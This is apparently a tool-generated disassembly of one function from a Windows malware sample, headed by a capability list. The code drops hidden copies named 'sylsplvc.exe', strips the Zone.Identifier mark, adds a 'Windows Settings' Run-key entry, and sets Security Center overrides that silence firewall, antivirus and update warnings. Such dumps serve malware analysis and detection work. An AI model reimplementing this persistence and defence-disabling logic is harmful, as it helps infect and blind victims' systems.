Function at 0x405e30
Capabilities:
Bypass mark of the web
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create thread
Delete file
Initialize winsock library
Move file
Persist via run registry key
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc14
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x83c], 0x235a
mov eax, dword [ebp - 0x214]
cmp eax, dword [ebp - 0x83c]
jae 0x405eb8
push str.235235235235
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x405ea7
push 0
push str.4624624626
push str.7247247247_
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push str.245245245245
push str.483828383
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.62427247
push str.246246246
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov ecx, dword [ebp - 0x214]
add ecx, 1
mov dword [ebp - 0x214], ecx
jmp 0x405e58
push str.tre5eer
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xa4c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405ee2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x20c], 1
push 0x105
push 0x416c18
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x416c18
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x210], eax
push 0x416c18
push str._s:Zone.Identifier
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea ecx, [ebp - 0xa48]
push ecx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 0xbe4], str.sylsplvc.exe
mov edx, dword [ebp - 0x210]
mov dword [ebp - 0xbe8], edx
mov eax, dword [ebp - 0xbe8]
mov cx, word [eax]
mov word [ebp - 0xbea], cx
mov edx, dword [ebp - 0xbe4]
cmp cx, word [edx]
jne 0x405fd3
cmp word [ebp - 0xbea], 0
je 0x405fc7
mov eax, dword [ebp - 0xbe8]
mov cx, word [eax + 2]
mov word [ebp - 0xbec], cx
mov edx, dword [ebp - 0xbe4]
cmp cx, word [edx + 2]
jne 0x405fd3
add dword [ebp - 0xbe8], 4
add dword [ebp - 0xbe4], 4
cmp word [ebp - 0xbec], 0
jne 0x405f6d
mov dword [ebp - 0xbf0], 0
jmp 0x405fde
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0xbf0], eax
mov ecx, dword [ebp - 0xbf0]
mov dword [ebp - 0xbf4], ecx
cmp dword [ebp - 0xbf4], 0
je 0x40625a
call fcn.0040d110
movzx edx, al
cmp edx, 1
jne 0x40600c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea eax, [ebp - 0x838]
push eax
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.sylsplvc.exe
lea ecx, [ebp - 0x838]
push ecx
push 0x411234
lea edx, [ebp - 0x630]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x630]
push eax
push 0x416c18
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x406139
push 3
lea ecx, [ebp - 0x630]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x424]
push edx
push 0x20006
push 0
push 0x411240
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40611a
lea eax, [ebp - 0x630]
mov dword [ebp - 0xbf8], eax
mov ecx, dword [ebp - 0xbf8]
add ecx, 2
mov dword [ebp - 0xbfc], ecx
mov edx, dword [ebp - 0xbf8]
mov ax, word [edx]
mov word [ebp - 0xbfe], ax
add dword [ebp - 0xbf8], 2
cmp word [ebp - 0xbfe], 0
jne 0x4060b0
mov ecx, dword [ebp - 0xbf8]
sub ecx, dword [ebp - 0xbfc]
sar ecx, 1
mov dword [ebp - 0xc04], ecx
mov edx, dword [ebp - 0xc04]
lea eax, [edx + edx + 2]
push eax
lea ecx, [ebp - 0x630]
push ecx
push 1
push 0
push str.Windows_Settings
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x630]
push ecx
call fcn.0040d3b0
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x406139
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.sylsplvc.exe
lea eax, [ebp - 0xa48]
push eax
push 0x4112a0
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x420]
push edx
push 0x416c18
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40625a
push 3
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x424]
push ecx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40623b
lea edx, [ebp - 0x420]
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xc08]
add eax, 2
mov dword [ebp - 0xc0c], eax
mov ecx, dword [ebp - 0xc08]
mov dx, word [ecx]
mov word [ebp - 0xc0e], dx
add dword [ebp - 0xc08], 2
cmp word [ebp - 0xc0e], 0
jne 0x4061d1
mov eax, dword [ebp - 0xc08]
sub eax, dword [ebp - 0xc0c]
sar eax, 1
mov dword [ebp - 0xc14], eax
mov ecx, dword [ebp - 0xc14]
lea edx, [ecx + ecx + 2]
push edx
lea eax, [ebp - 0x420]
push eax
push 1
push 0
push str.Windows_Settings
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x420]
push eax
call fcn.0040d3b0
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x40625a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x424]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406371
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x411330
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x411344
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x41135c
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x411370
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x411384
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x41139c
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x4113ac
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x424]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40647d
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.FirewallOverride
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.FirewallDisableNotify
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.AntiSpywareOverride
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.AntiVirusOverride
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.AntiVirusDisableNotify
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.UpdatesOverride
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.UpdatesDisableNotify
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040b1e0
movzx ecx, al
test ecx, ecx
je 0x4065e8
lea edx, [ebp - 0xbe0]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [ebp - 0xa48]
push eax
push str._s_tbnds.dat
push 0x416e28
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0xa48]
push ecx
push str._s_tbcmds.dat
push 0x416808
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0x404410
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x4054c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x405d10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00404610
call fcn.0040d040
call fcn.00405bc0
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x41704c], eax
call fcn.0040a910
mov dword [0x417054], eax
call fcn.0040bb10
mov dword [0x417050], eax
call fcn.00409d60
push 0
push 0
push 0
push 0x40bfd0
push 0
mov edx, dword [0x417050]
push edx
call fcn.0040bbc0
add esp, 0x18
push 0
push 0
push 0
push 0x40bf30
push 0
mov eax, dword [0x417050]
push eax
call fcn.0040bbc0
add esp, 0x18
push 0
push 0
push 0
push 0x40bac0
push 0
mov ecx, dword [0x417050]
push ecx
call fcn.0040bbc0
add esp, 0x18
push 0
push 0
push 0
push 0x40b8c0
push 0
mov edx, dword [0x417050]
push edx
call fcn.0040bbc0
add esp, 0x18
jmp 0x4065ec
xor eax, eax
mov esp, ebp
pop ebp
ret